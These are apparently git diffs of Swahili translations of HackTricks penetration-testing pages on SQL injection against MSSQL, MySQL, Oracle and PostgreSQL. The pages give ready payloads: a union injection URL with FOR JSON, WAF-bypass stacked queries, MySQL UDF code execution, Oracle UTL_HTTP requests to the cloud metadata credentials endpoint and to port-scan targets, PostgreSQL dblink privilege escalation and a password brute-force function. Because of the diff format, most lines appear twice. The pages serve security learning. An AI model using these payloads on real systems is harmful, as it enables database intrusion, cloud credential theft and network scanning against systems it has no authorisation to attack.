Njia fupi ya kutoa maudhui kamili ya jedwali katika ombi moja inahusisha kutumia kipengele cha `FOR JSON`. Njia hii ni fupi zaidi kuliko kutumia kipengele cha `FOR XML`, ambacho kinahitaji hali maalum kama "raw". Kipengele cha `FOR JSON` kinapendekezwa kwa sababu ya ufupi wake.
Hapa kuna jinsi ya kurejesha muundo, jedwali, na safu kutoka kwa hifadhidata ya sasa:
Hapa kuna jinsi ya kupata muundo, jedwali, na safu kutoka kwa hifadhidata ya sasa:
````sql
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
@ -219,7 +219,7 @@ ondoa meza [test]
Can be reduced to:
```sql
tumia[tempdb]unda/**/meza[test]([id]int)ingiza[test]thamani(1)chagua[id]kutoka[test]futa/**/meza[test]
tumia[tempdb]unda/**/meza[test]([id]int)ingiza[test]thamani(1)chagua[id]kutoka[test]ondoa/**/meza[test]
```
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

View File

@ -28,7 +28,7 @@ floor(2.9)
length(1)
count(1)
```
### Kazi za Kusaidia
### Kazi za manufaa
```sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
@ -107,7 +107,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
### Kutekeleza maswali kupitia Prepared Statements
Wakati maswali yaliyo stacked yanaruhusiwa, inaweza kuwa inawezekana kupita WAFs kwa kupewa thamani ya hex ya swali unalotaka kutekeleza (kwa kutumia SET), na kisha tumia PREPARE na EXECUTE MySQL statements ili hatimaye kutekeleza swali. Kitu kama hiki:
Wakati maswali yaliyo stacked yanaruhusiwa, inaweza kuwa inawezekana kupita WAFs kwa kupewa thamani ya hex ya swali unalotaka kutekeleza (kwa kutumia SET), na kisha tumia PREPARE na EXECUTE MySQL statements ili hatimaye kutekeleza swali hilo. Kitu kama hiki:
```
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
```
@ -131,7 +131,7 @@ Ikiwa wakati fulani unajua jina la jedwali lakini hujui majina ya safu ndani ya
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
```
Kukisia kuna safu 2 (safu ya kwanza ikiwa ni ID) na nyingine ikiwa ni bendera, unaweza kujaribu kubruteforce maudhui ya bendera ukijaribu herufi moja moja:
Kukisia kuna safu 2 (safu ya kwanza ikiwa ni ID) na nyingine ikiwa ni bendera, unaweza kujaribu kubruteforce maudhui ya bendera ukijaribu herufi kwa herufi:
```bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
@ -148,11 +148,11 @@ mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
```
## Mwongozo Mwingine wa MYSQL Injection
## Miongozo Mingine ya MYSQL Injection
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
## Marejeo
## Marejeleo
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)

View File

@ -8,21 +8,21 @@
Katika uchunguzi wa SQL Out of Band data exfiltration, kazi ya `LOAD_FILE()` mara nyingi hutumika kuanzisha maombi ya mtandao. Hata hivyo, kazi hii inakabiliwa na vikwazo vya mfumo wa uendeshaji inavyofanya kazi na mipangilio ya kuanzisha ya hifadhidata.
Kigezo cha `secure_file_priv` cha kimataifa, ikiwa hakijapangwa, kinarejelea `/var/lib/mysql-files/`, kikizuia ufikiaji wa faili katika directory hii isipokuwa kimewekwa kuwa string tupu (`""`). Marekebisho haya yanahitaji mabadiliko katika faili ya mipangilio ya hifadhidata au vigezo vya kuanzisha.
Kigezo cha `secure_file_priv` cha kimataifa, ikiwa hakijapangwa, kinarejelea `/var/lib/mysql-files/`, kikizuia ufikiaji wa faili kwenye saraka hii isipokuwa kimewekwa kuwa string tupu (`""`). Marekebisho haya yanahitaji mabadiliko katika faili la mipangilio ya hifadhidata au vigezo vya kuanzisha.
Kama `secure_file_priv` imezimwa (`""`), na tukichukulia kuwa ruhusa muhimu za faili na `file_priv` zimetolewa, faili za nje ya directory iliyoainishwa zinaweza kusomwa. Hata hivyo, uwezo wa kazi hizi kufanya simu za mtandao unategemea sana mfumo wa uendeshaji. Katika mifumo ya Windows, simu za mtandao kwa njia za UNC zinawezekana kutokana na uelewa wa mfumo wa uendeshaji wa kanuni za kutaja za UNC, ambayo inaweza kusababisha kuvuja kwa NTLMv2 hashes.
Kikiwa `secure_file_priv` kimezimwa (`""`), na tukichukulia kuwa ruhusa muhimu za faili na `file_priv` zimetolewa, faili za nje ya saraka iliyoainishwa zinaweza kusomwa. Hata hivyo, uwezo wa kazi hizi kufanya simu za mtandao unategemea sana mfumo wa uendeshaji. Katika mifumo ya Windows, simu za mtandao kwa njia za UNC zinawezekana kutokana na uelewa wa mfumo wa uendeshaji wa kanuni za kutaja za UNC, ambayo inaweza kusababisha kuvuja kwa NTLMv2 hashes.
Mbinu hii ya SSRF inakabiliwa na bandari ya TCP 445 na haiwezeshi mabadiliko ya nambari ya bandari, ingawa inaweza kutumika kufikia sehemu zenye ruhusa kamili za kusoma na, kama ilivyoonyeshwa katika utafiti wa awali, kuiba hashes kwa matumizi zaidi.
### Remote Code Execution (RCE) kupitia User Defined Functions (UDF)
Hifadhidata za MySQL zinatoa matumizi ya User Defined Functions (UDF) kutoka kwa faili za maktaba za nje. Ikiwa maktaba hizi zinapatikana ndani ya directories maalum au `$PATH` ya mfumo, zinaweza kuitwa kutoka ndani ya MySQL.
Hifadhidata za MySQL zinatoa matumizi ya User Defined Functions (UDF) kutoka kwa faili za maktaba za nje. Ikiwa maktaba hizi zinapatikana ndani ya saraka maalum au `$PATH` ya mfumo, zinaweza kuitwa kutoka ndani ya MySQL.
Mbinu hii inaruhusu utekelezaji wa maombi ya mtandao/HTTP kupitia UDF, ikiwa masharti kadhaa yamekamilishwa, ikiwa ni pamoja na ufikiaji wa kuandika kwenye `@@plugin_dir`, `file_priv` imewekwa kuwa `Y`, na `secure_file_priv` imezimwa.
Kwa mfano, maktaba ya `lib_mysqludf_sys` au maktaba nyingine za UDF zinazowezesha maombi ya HTTP zinaweza kupakiwa ili kutekeleza SSRF. Maktaba hizo lazima zipelekwe kwenye seva, ambayo inaweza kufanywa kupitia hex au base64 encoding ya maudhui ya maktaba na kisha kuandika kwenye directory inayofaa.
Kwa mfano, maktaba ya `lib_mysqludf_sys` au maktaba nyingine za UDF zinazowezesha maombi ya HTTP zinaweza kupakuliwa ili kutekeleza SSRF. Maktaba hizo lazima zipelekwe kwenye seva, ambayo inaweza kufanywa kupitia hex au base64 encoding ya maudhui ya maktaba na kisha kuandika kwenye saraka inayofaa.
Mchakato huu unabadilika ikiwa `@@plugin_dir` haiwezi kuandikwa, hasa kwa toleo za MySQL zaidi ya `v5.0.67`. Katika hali kama hizo, njia mbadala zinazoweza kuandikwa lazima zitumike.
Mchakato huu unabadilika ikiwa `@@plugin_dir` haiwezi kuandikwa, hasa kwa toleo za MySQL zaidi ya `v5.0.67`. Katika hali hizo, njia mbadala ambazo zinaweza kuandikwa lazima zitumike.
Automatisering ya michakato hii inaweza kuwezeshwa na zana kama SQLMap, ambayo inasaidia UDF injection, na kwa blind SQL injections, uelekezaji wa matokeo au mbinu za DNS request smuggling zinaweza kutumika.

View File

@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
**Tumikia nakala ya post hii kutoka kwa mashine ya wayback ya post iliyofutwa kutoka [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
**Serve this post a wayback machine copy of the deleted post from [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
## SSRF
Kutumia Oracle kufanya maombi ya HTTP na DNS ya nje ya bendi ni vizuri kuandikwa lakini kama njia ya kutoa data ya SQL katika sindano. Tunaweza kila wakati kubadilisha mbinu/hifadhidata hizi kufanya SSRF/XSPA nyingine.
Kutumia Oracle kufanya maombi ya HTTP na DNS ya Out of Band imeandikwa vizuri lakini kama njia ya kuhamasisha data ya SQL katika injections. Tunaweza kila wakati kubadilisha mbinu/hifadhidata hizi kufanya SSRF/XSPA nyingine.
Kuweka Oracle kunaweza kuwa na maumivu sana, hasa ikiwa unataka kuanzisha mfano wa haraka kujaribu amri. Rafiki yangu na mwenzi katika [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), alinielekeza kwenye [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) ambayo iliniruhusu kuanzisha mfano kwenye mashine ya t2.large AWS Ubuntu na Docker.
Kuweka Oracle kunaweza kuwa na maumivu sana, hasa ikiwa unataka kuanzisha mfano wa haraka kujaribu amri. Rafiki yangu na mwenzangu katika [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), alinionyesha [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) ambayo iliniruhusu kuanzisha mfano kwenye mashine ya t2.large AWS Ubuntu na Docker.
Nilifanya amri ya docker na bendera `--network="host"` ili niweze kuiga Oracle kama usakinishaji wa asili wenye ufikiaji kamili wa mtandao, kwa kipindi cha blogpost hii.
```
@ -20,7 +20,7 @@ Ili kupata pakiti na kazi zozote zinazounga mkono spesifikasiyo ya mwenyeji na b
```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```
Matokeo ya utafutaji yalirudisha matokeo yafuatayo (siyo yote yanaweza kutumika kufanya mtandao wa nje)
Utafutaji ulirudisha matokeo yafuatayo (siyo yote yanaweza kutumika kufanya mtandao wa nje)
- DBMS_NETWORK_ACL_ADMIN
- UTL_SMTP
@ -62,7 +62,7 @@ A `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` inaonyesha kwamba bandari imefun
**UTL_SMTP**
Pakiti ya `UTL_SMTP` imeundwa kwa ajili ya kutuma barua pepe kupitia SMTP. Mfano uliopewa kwenye [tovuti ya hati za Oracle unaonyesha jinsi unavyoweza kutumia pakiti hii kutuma barua pepe](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Kwa sisi, hata hivyo, jambo la kuvutia ni uwezo wa kutoa maelezo ya mwenyeji na bandari.
Kifurushi cha `UTL_SMTP` kimeundwa kwa ajili ya kutuma barua pepe kupitia SMTP. Mfano uliopewa kwenye [tovuti ya hati za Oracle unaonyesha jinsi unavyoweza kutumia kifurushi hiki kutuma barua pepe](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Kwa sisi, hata hivyo, jambo la kuvutia ni uwezo wa kutoa maelezo ya mwenyeji na bandari.
Mfano wa kimsingi unaonyeshwa hapa chini na kazi ya `UTL_SMTP.OPEN_CONNECTION`, ikiwa na muda wa kupita wa sekunde 2.
```
@ -84,7 +84,7 @@ A `ORA-29276: transfer timeout` inaonyesha kwamba bandari iko wazi lakini hakuna
Pakiti ya `UTL_TCP` na taratibu na kazi zake zinaruhusu [mawasiliano ya msingi wa TCP/IP na huduma](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Ikiwa imeandikwa kwa huduma maalum, pakiti hii inaweza kwa urahisi kuwa njia ya kuingia kwenye mtandao au kutekeleza Maombi ya Kwanza ya Server kwa sababu vipengele vyote vya muunganisho wa TCP/IP vinaweza kudhibitiwa.
Mfano [katika tovuti ya hati za Oracle unaonyesha jinsi unavyoweza kutumia pakiti hii kufanya muunganisho wa TCP wa moja kwa moja ili kupata ukurasa wa wavuti](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Tunaweza kuifanya iwe rahisi zaidi na kuitumia kufanya maombi kwa mfano kwa mfano wa metadata au kwa huduma yoyote ya TCP/IP.
Mfano [katika tovuti ya hati za Oracle unaonyesha jinsi unavyoweza kutumia pakiti hii kufanya muunganisho wa TCP wa moja kwa moja ili kupata ukurasa wa wavuti](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Tunaweza kuifanya iwe rahisi kidogo na kuitumia kufanya maombi kwa mfano kwa mfano wa metadata au kwa huduma yoyote ya TCP/IP.
```
set serveroutput on size 30000;
SET SERVEROUTPUT ON
@ -124,15 +124,15 @@ END;
utl_tcp.close_connection(c);
END;
```
Kwa kushangaza, kutokana na uwezo wa kuunda maombi safi ya TCP, kifurushi hiki kinaweza pia kutumika kuhoji huduma ya meta-data ya Instance ya watoa huduma wote wa wingu kwani aina ya mbinu na vichwa vya ziada vinaweza kupitishwa ndani ya ombi la TCP.
Kwa njia ya kuvutia, kutokana na uwezo wa kuunda maombi safi ya TCP, kifurushi hiki kinaweza pia kutumika kuhoji huduma ya meta-data ya Instance ya watoa huduma wote wa wingu kwani aina ya mbinu na vichwa vya ziada vinaweza kupitishwa ndani ya ombi la TCP.
**UTL_HTTP na Maombi ya Mtandao**
Labda mbinu inayojulikana zaidi na iliyoandikwa sana katika kila mafunzo ya Out of Band Oracle SQL Injection ni [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Kifurushi hiki kimefafanuliwa na nyaraka kama - `The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.`
Labda mbinu inayojulikana zaidi na iliyoandikwa kwa kina katika kila mafunzo ya Out of Band Oracle SQL Injection ni [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Kifurushi hiki kimefafanuliwa na nyaraka kama - `The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
Unaweza pia kutumia hii kufanya skanning ya port za msingi kwa maswali kama
Unaweza pia kutumia hii kufanya skanning ya port za msingi pia kwa maswali kama
```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
@ -140,6 +140,6 @@ select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
A `ORA-12541: TNS:no listener` au `TNS:operation timed out` ni ishara kwamba bandari ya TCP imefungwa, wakati `ORA-29263: HTTP protocol error` au data ni ishara kwamba bandari iko wazi.
Paket nyingine niliyotumia zamani kwa mafanikio tofauti ni [`GETCLOB()` method ya `HTTPURITYPE` Oracle abstract type](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) inayokuruhusu kuingiliana na URL na inatoa msaada kwa protokali ya HTTP. `GETCLOB()` method inatumika kupata jibu la GET kutoka kwa URL kama [aina ya data ya CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
Pakia nyingine niliyotumia zamani kwa mafanikio tofauti ni [`GETCLOB()` method of the `HTTPURITYPE` Oracle abstract type](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) ambayo inakuwezesha kuingiliana na URL na inatoa msaada kwa protokali ya HTTP. `GETCLOB()` method inatumika kupata jibu la GET kutoka kwa URL kama [CLOB data type.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
{{#include ../../banners/hacktricks-training.md}}

View File

@ -9,7 +9,7 @@
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
Moduli ya **PostgreSQL `dblink`** inatoa uwezo wa kuungana na mifano mingine ya PostgreSQL na kutekeleza muunganisho wa TCP. Vipengele hivi, vinavyounganishwa na kazi ya `COPY FROM`, vinawezesha vitendo kama vile kupandisha mamlaka, skanning ya bandari, na kukamata majibu ya changamoto ya NTLM. Kwa mbinu za kina za kutekeleza mashambulizi haya angalia jinsi ya [kutekeleza mashambulizi haya](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
Moduli ya **PostgreSQL `dblink`** inatoa uwezo wa kuungana na mifano mingine ya PostgreSQL na kutekeleza muunganisho wa TCP. Vipengele hivi, vinapounganishwa na kazi ya `COPY FROM`, vinawezesha vitendo kama vile kupandisha mamlaka, skanning ya bandari, na kukamata majibu ya changamoto ya NTLM. Kwa mbinu za kina za kutekeleza mashambulizi haya angalia jinsi ya [kutekeleza mashambulizi haya](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
### **Mfano wa Exfiltration ukitumia dblink na vitu vikubwa**
@ -32,7 +32,7 @@ Kuhusisha nyuzi kunaweza kukusaidia **kuzidi WAFs au vizuizi vingine**.\
### Stacked Queries
Kumbuka kwamba postgresql inasaidia maswali yaliyopangwa, lakini programu kadhaa zitatoa kosa ikiwa majibu 2 yatatolewa wakati yanatarajiwa 1 tu. Lakini, bado unaweza kutumia maswali yaliyopangwa kupitia Time injection:
Kumbuka kwamba postgresql inasaidia maswali yaliyojumuishwa, lakini programu kadhaa zitatoa kosa ikiwa majibu 2 yatatolewa wakati yanatarajiwa 1 tu. Lakini, bado unaweza kutumia maswali yaliyojumuishwa kupitia Time injection:
```
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
@ -47,7 +47,7 @@ SELECT query_to_xml('select * from pg_user',true,true,'');
```
**database_to_xml**
Hii kazi itatoa hifadhidata nzima katika muundo wa XML katika safu 1 tu (kuwa makini ikiwa hifadhidata ni kubwa sana kwani unaweza kuisababisha DoS au hata mteja wako mwenyewe):
Hii kazi itatoa hifadhidata nzima katika muundo wa XML kwa safu 1 tu (kuwa makini ikiwa hifadhidata ni kubwa sana kwani unaweza kuisababisha DoS au hata mteja wako mwenyewe):
```sql
SELECT database_to_xml(true,true,'');
```

View File

@ -2,7 +2,7 @@
### PostgreSQL Large Objects
PostgreSQL inatoa muundo unaojulikana kama **large objects**, inayopatikana kupitia jedwali la `pg_largeobject`, iliyoundwa kwa ajili ya kuhifadhi aina kubwa za data, kama picha au hati za PDF. Njia hii ina faida zaidi kuliko kazi ya `COPY TO` kwani inaruhusu **kuhamasisha data kurudi kwenye mfumo wa faili**, kuhakikisha nakala halisi ya faili ya awali inahifadhiwa.
PostgreSQL inatoa muundo unaojulikana kama **large objects**, inayopatikana kupitia jedwali la `pg_largeobject`, iliyoundwa kwa ajili ya kuhifadhi aina kubwa za data, kama picha au hati za PDF. Njia hii ina faida zaidi kuliko kazi ya `COPY TO` kwani inaruhusu **kuhamasisha data kurudi kwenye mfumo wa faili**, kuhakikisha nakala halisi ya faili asili inahifadhiwa.
Ili **kuhifadhi faili kamili** ndani ya jedwali hili, kitu kinapaswa kuundwa katika jedwali la `pg_largeobject` (kinachojulikana kwa LOID), ikifuatiwa na kuingiza vipande vya data, kila kimoja kikiwa na ukubwa wa 2KB, ndani ya kitu hiki. Ni muhimu kwamba vipande hivi viwe na ukubwa wa 2KB (ikiwa na uwezekano wa kutengwa kwa kipande cha mwisho) ili kuhakikisha kazi ya kuhamasisha inafanya kazi ipasavyo.
@ -10,7 +10,7 @@ Ili **kugawanya data yako ya binary** katika vipande vya 2KB, amri zifuatazo zin
```bash
split -b 2048 your_file # Creates 2KB sized files
```
Ili kubadilisha kila faili kuwa Base64 au Hex, amri zilizo hapa chini zinaweza kutumika:
Ili kuandika kila faili katika Base64 au Hex, amri zilizo hapa chini zinaweza kutumika:
```bash
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line

View File

@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
**Find** [**more information about these attacks in the original paper**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt).
**Pata** [**maelezo zaidi kuhusu mashambulizi haya katika karatasi asilia**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt).
Tangu **PostgreSQL 9.1**, usakinishaji wa moduli za ziada ni rahisi. [Extensions zilizoregisteriwa kama `dblink`](https://www.postgresql.org/docs/current/contrib.html) zinaweza kusakinishwa kwa kutumia [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
Tangu **PostgreSQL 9.1**, ufungaji wa moduli za ziada ni rahisi. [Marekebisho yaliyojregistriwa kama `dblink`](https://www.postgresql.org/docs/current/contrib.html) yanaweza kufungwa kwa [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
```sql
CREATE EXTENSION dblink;
```
@ -16,17 +16,17 @@ Faili `pg_hba.conf` inaweza kuwa imewekwa vibaya **ikikubali muunganisho** kutok
```
local all all trust
```
_Note kwamba usanidi huu unatumika mara nyingi kubadilisha nenosiri la mtumiaji wa db wakati msimamizi analisahau, hivyo wakati mwingine unaweza kuliona._\
&#xNAN;_&#x4E;ote pia kwamba faili pg_hba.conf inaweza kusomwa tu na mtumiaji na kundi la postgres na inaweza kuandikwa tu na mtumiaji wa postgres._
_Kumbuka kwamba usanidi huu unatumika mara nyingi kubadilisha nenosiri la mtumiaji wa db wakati msimamizi analisahau, hivyo wakati mwingine unaweza kuliona._\
&#xNAN;_&#x4E; kumbuka pia kwamba faili pg_hba.conf inaweza kusomwa tu na mtumiaji na kundi la postgres na inaweza kuandikwa tu na mtumiaji wa postgres._
Kesi hii ni **faida ikiwa** tayari una **shell** ndani ya mwathirika kwani itakuruhusu kuungana na hifadhidata ya postgresql.
Misingi mingine ya makosa inaweza kuwa kama hii:
Makosa mengine yanayoweza kutokea ni kama ifuatavyo:
```
host all all 127.0.0.1/32 trust
```
Kwa kuwa itaruhusu kila mtu kutoka kwa localhost kuungana na database kama mtumiaji yeyote.\
Katika kesi hii na ikiwa kazi ya **`dblink`** inafanya kazi, unaweza **kuinua mamlaka** kwa kuungana na database kupitia muunganisho ambao tayari umeanzishwa na kufikia data ambayo haipaswi kufikiwa:
Kwa kuwa itaruhusu kila mtu kutoka kwa localhost kuungana na hifadhidata kama mtumiaji yeyote.\
Katika kesi hii na ikiwa kazi ya **`dblink`** inafanya **kazi**, unaweza **kuinua mamlaka** kwa kuungana na hifadhidata kupitia muunganisho ulioanzishwa tayari na kufikia data ambayo haipaswi kufikiwa:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=postgres
@ -42,7 +42,7 @@ RETURNS (result1 TEXT, result2 TEXT);
```
### Port Scanning
Kwa kutumia `dblink_connect` unaweza pia **kutafuta bandari zilizo wazi**. Ikiwa hiyo \*\*kazi haifanyi kazi unapaswa kujaribu kutumia `dblink_connect_u()` kwani hati inasema kwamba `dblink_connect_u()` ni sawa na `dblink_connect()`, isipokuwa itaruhusu watumiaji wasiokuwa wasimamizi kuungana kwa kutumia njia yoyote ya uthibitishaji\_.
Kwa kutumia `dblink_connect` unaweza pia **kutafuta bandari zilizo wazi**. Ikiwa hiyo \*\*kazi haitafanya kazi unapaswa kujaribu kutumia `dblink_connect_u()` kwani hati inasema kwamba `dblink_connect_u()` ni sawa na `dblink_connect()`, isipokuwa kwamba itaruhusu watumiaji wasiokuwa wasimamizi kuungana kwa kutumia njia yoyote ya uthibitishaji\_.
```sql
SELECT * FROM dblink_connect('host=216.58.212.238
port=443

View File

@ -6,18 +6,18 @@
PL/pgSQL ni **lugha ya programu yenye vipengele vyote** ambayo inapanua uwezo wa SQL kwa kutoa **udhibiti wa taratibu ulioimarishwa**. Hii inajumuisha matumizi ya mizunguko na muundo mbalimbali wa udhibiti. Kazi zilizoundwa katika lugha ya PL/pgSQL zinaweza kuitwa na taarifa za SQL na vichocheo, na kupanua wigo wa operesheni ndani ya mazingira ya hifadhidata.
Unaweza kutumia lugha hii ili kuomba PostgreSQL ikamilishe nguvu za nywila za watumiaji, lakini lazima iwepo kwenye hifadhidata. Unaweza kuthibitisha uwepo wake kwa kutumia:
Unaweza kuitumia lugha hii ili kumuuliza PostgreSQL kujaribu nguvu akidi za watumiaji, lakini lazima iwepo kwenye hifadhidata. Unaweza kuthibitisha uwepo wake kwa kutumia:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |
```
Kwa kawaida, **kuunda kazi ni haki inayotolewa kwa PUBLIC**, ambapo PUBLIC inamaanisha kila mtumiaji kwenye mfumo huo wa hifadhidata. Ili kuzuia hili, msimamizi angeweza kuondoa haki ya USAGE kutoka kwa eneo la PUBLIC:
Kwa default, **kuunda kazi ni haki inayotolewa kwa PUBLIC**, ambapo PUBLIC inamaanisha kila mtumiaji kwenye mfumo huo wa database. Ili kuzuia hili, msimamizi angeweza kufuta haki ya USAGE kutoka kwa eneo la PUBLIC:
```sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
```
Katika kesi hiyo, uchunguzi wetu wa awali ungeweza kutoa matokeo tofauti:
Katika kesi hiyo, ombi letu la awali lingetoa matokeo tofauti:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
@ -30,7 +30,7 @@ CREATE EXTENSION dblink;
```
## Password Brute Force
Hapa kuna jinsi unavyoweza kufanya bruteforce ya nywila ya herufi 4:
Hapa kuna jinsi unavyoweza kufanya brute force ya nywila ya herufi 4:
```sql
//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,

View File

@ -4,9 +4,9 @@
## PostgreSQL Extensions
PostgreSQL imeandaliwa kwa kuzingatia upanuzi kama kipengele cha msingi, ikiruhusu kuunganishwa kwa upanuzi kama vile ni kazi zilizojengwa ndani. Upanuzi hawa, kimsingi maktaba yaliyoandikwa kwa C, yanapanua hifadhidata kwa kazi, waendeshaji, au aina za ziada.
PostgreSQL imeandaliwa kwa kuwa na uwezo wa kupanuka kama kipengele cha msingi, ikiruhusu kuunganishwa kwa nyongeza kama vile zilivyojengwa ndani. Nyongeza hizi, kimsingi maktaba yaliyoandikwa kwa C, zinaongeza uwezo wa hifadhidata kwa kazi, waendeshaji, au aina za ziada.
Kuanzia toleo la 8.1 na kuendelea, hitaji maalum linatolewa kwa maktaba za upanuzi: lazima ziandikwe kwa kichwa maalum. Bila hii, PostgreSQL haitazitekeleza, kuhakikisha kuwa ni upanuzi unaofaa na pengine salama pekee ndio unatumika.
Kuanzia toleo la 8.1 na kuendelea, hitaji maalum linatolewa kwa maktaba za nyongeza: lazima ziandikwe kwa kichwa maalum. Bila hii, PostgreSQL haitazitekeleza, kuhakikisha kuwa nyongeza zinazofaa na zinazoweza kuwa salama pekee ndizo zinazotumika.
Pia, kumbuka kwamba **ikiwa hujui jinsi ya** [**kupakia faili kwa mwathirika kwa kutumia PostgreSQL unapaswa kusoma chapisho hili.**](big-binary-files-upload-postgresql.md)
@ -68,20 +68,20 @@ $$ LANGUAGE 'plpgsql';
```
</details>
Hata ilipokuwa ikijaribiwa kwenye toleo kubwa **makosa yafuatayo yalionekana**:
Hata ilipokuwa ikijaribiwa kwenye toleo kubwa **kosa lifuatalo lilionekana**:
```c
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
Kosa hili linaelezwa katika [PostgreSQL documentation](https://www.postgresql.org/docs/current/static/xfunc-c.html):
> Ili kuhakikisha kwamba faili la kitu kilichopakiwa kwa njia ya kidijitali halijapakiwa kwenye seva isiyofaa, PostgreSQL inakagua kwamba faili ina "block ya kichawi" yenye maudhui yanayofaa. Hii inaruhusu seva kugundua kutokubaliana dhahiri, kama vile msimbo ulioandikwa kwa toleo tofauti kuu la PostgreSQL. Block ya kichawi inahitajika kuanzia PostgreSQL 8.2. Ili kujumuisha block ya kichawi, andika hii katika moja (na moja tu) ya faili za chanzo za moduli, baada ya kujumuisha kichwa fmgr.h:
> Ili kuhakikisha kwamba faili la kitu kilichopakiwa kwa njia ya kidijitali halijapakiwa kwenye seva isiyofaa, PostgreSQL inakagua kwamba faili ina "block ya kichawi" yenye maudhui yanayofaa. Hii inaruhusu seva kugundua kutokubaliana wazi, kama vile msimbo ulioandikwa kwa toleo tofauti kuu la PostgreSQL. Block ya kichawi inahitajika kuanzia PostgreSQL 8.2. Ili kujumuisha block ya kichawi, andika hii katika moja (na moja tu) ya faili za chanzo za moduli, baada ya kujumuisha kichwa fmgr.h:
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
> `#endif`
Kuanzia toleo la PostgreSQL 8.2, mchakato wa mshambuliaji kutumia mfumo umefanywa kuwa mgumu zaidi. Mshambuliaji anahitajika ama kutumia maktaba ambayo tayari ipo kwenye mfumo au kupakia maktaba maalum. Maktaba hii maalum inapaswa kuandikwa dhidi ya toleo kuu linalofaa la PostgreSQL na inapaswa kujumuisha "block ya kichawi" maalum. Hatua hii inaongeza kwa kiasi kikubwa ugumu wa kutumia mifumo ya PostgreSQL, kwani inahitaji uelewa wa kina wa usanifu wa mfumo na ulinganifu wa toleo.
